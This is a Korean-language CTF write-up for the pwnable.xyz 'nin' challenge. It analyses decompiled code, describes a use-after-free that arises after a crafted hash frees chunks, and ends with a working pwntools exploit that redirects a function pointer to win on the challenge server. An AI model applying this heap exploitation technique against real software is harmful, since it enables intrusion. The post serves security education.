[pwnable.xyz] nin
Pwn/pwnable.xyz

[pwnable.xyz] nin

반응형
문제 풀이 환경 : Ubuntu 16.04

📝 Analysis


<< Mitigation >>

<< Code >>

· do_chat

의미 있는 코드는 이 함수에서 시작한다.

여기서 포인트는 __fastcall 어쩌고저쩌고 되어 있는 줄이다.

포인트인 이유는 __fastcall 부분은 어셈으로 봤을 때 특정 부분을 call rax 이런 식으로 부르니 win 함수를 부를 수 있게 하는 가장 쉬운 부분이기 때문이다.

그렇기 때문에 힙 청크의 구조를 잘 살펴보고 익스해보자.

 

· invite_reznor

do_chat 함수에서 v0 변수에 값이 없을 때 초기화해주는 함수다.

malloc으로 0x20 크기의 청크를 할당한다. 데이터는 [strdup 리턴 청크 주소] [answer_me 주소]의 구조를 가진다.

위의 do_chat 코드를 다시 보면 [answer_me 주소]의 부분의 값을 call 하는 걸 보아 여기가 win 함수의 주소로 덮어야 한다는 걸 추측할 수 있다.

 

· answer_me

unsigned __int64 __fastcall answer_me(void **a1, const char *a2)
{
  int nbytes[3]; // [rsp+1Ch] [rbp-24h] BYREF
  const void *hash; // [rsp+28h] [rbp-18h]
  char *v5; // [rsp+30h] [rbp-10h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  if ( !strcmp(a2, "/gift\n")
    && (nbytes[0] = 0,
        puts("Oh you wanna bribe him?"),
        printf("Ok, how expensive will your gift be: "),
        __isoc99_scanf("%ud", nbytes),
        nbytes[0]) )
  {
    *(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1));
    memset(*(void **)&nbytes[1], 0, (unsigned int)(nbytes[0] + 1));
    printf("Enter your gift: ");
    read(0, *(void **)&nbytes[1], (unsigned int)nbytes[0]);
    hash = (const void *)hash_gift(*(__int64 *)&nbytes[1], nbytes[0]);
    printf("Trent doesn't look impressed and swallows %p\n", hash);// hash pointer leak
    if ( hash == (const void *)0xDEADBEEFLL )
    {
      puts("The color of his head turns blue...");
      puts("Trent Reznor flips the table and raqequits...");
      puts("@trent has left #ota_chat (Client disconnected...)");
      free(*a1);
      free(a1);
    }
    else
    {
      printf("Didn't seem to be tasty...\n");
    }
  }
  else
  {
    v5 = (&answers)[rand() % 10];
    printf("@trent> %s\n", v5);
  }
  return __readfsqword(0x28u) ^ v6;
}

이 프로그램의 핵심 동작 함수다.

채팅으로 '/gift\n'를 입력하면 간단한 문제(hash_gift)를 풀 수 있고 결괏값으로 0xDEADBEEF가 나온다면 free를 호출할 수 있다.

딱 봐도 힙 익스를 유도하는 문제라는 것을 알 수 있다.

 

· hash_gift

문제 푸는 시간을 좀 늘리고 싶었던 것인지 이런 걸 넣어놓은 느낌을 많이 받았다.

간단히 설명하자면 입력 길이의 앞의 절반을 다 더한 값과 뒤 절반을 다 더한 값을 각각 구한 뒤, 32bit의 앞뒤 각각 16bit씩 차지하게 그 값을 설정하는 함수다.

0xDEADBEEF를 만들고자 한다면 0xDEAD, 0xBEEF 두 부분으로 생각해서 각각의 합과 패딩(padding)을 적절히 활용하면 간단히 만들 수 있다. (결과는 익스 코드에)

 

✨ Thinking


프로그램이 진행되는 동안 힙에서 일어나는 일을 이해한다면 이 문제는 쉽게 풀 수 있다.

invite_reznor 함수가 불린 후 힙의 상황은 다음과 같다.

이후 hash_gift 함수의 리턴값으로 0xDEADBEEF를 만드는 것에 성공해서 free를 2개 부른다면 위의 두 청크는 사이즈에 맞게 각 fast bin에 들어가게 될 것이다.

다시 do_chat 함수로 돌아오게 됐을 때는 v0에 이미 init chunk의 주소가 들어가 있는 상태라 invite_reznor 함수가 불리지 않는다.

문제는 answer_me를 다시 부른 후에 malloc을 하게 될 텐데 할당할 사이즈를 내가 정할 수 있으니 사이즈로 0x1f로 준다면 +1된 사이즈인 0x20에 헤더까지 포함한 0x30을 할당하면서 nbytes[1]에 저장된 주소와 do_chat의 v0에 저장된 주소가 같게 된다.

여기서 UAF 취약점이 터지니 값을 수정해줄 수 있고 win 함수를 부를 수 있게 만들어주면 끝난다.

 

🚩 Flag 🚩


from pwn import *
# context.log_level = 'debug'

# p = process('./nin')
p = remote('svc.pwnable.xyz', 30034)
e = ELF('./nin')

p.sendafter(b'@you> ', b'/gift\n')
beef = b'\xff' * 191 + b'\xae'
dead = b'\xff' * 223 + b'\x8c'
gift = dead + beef + b'\x00' * (len(dead) - len(beef))
p.sendlineafter(b'be: ', str(len(gift)))
p.sendafter(b'gift: ', gift)

p.sendafter(b'@you> ', b'/gift\n')
p.sendlineafter(b'be: ', str(0x1f).encode())
p.sendafter(b'gift: ', p64(0) + p64(e.sym['win']) + b'A' * 0x10)

p.sendafter(b'@you> ', b'A')

p.interactive()

 

반응형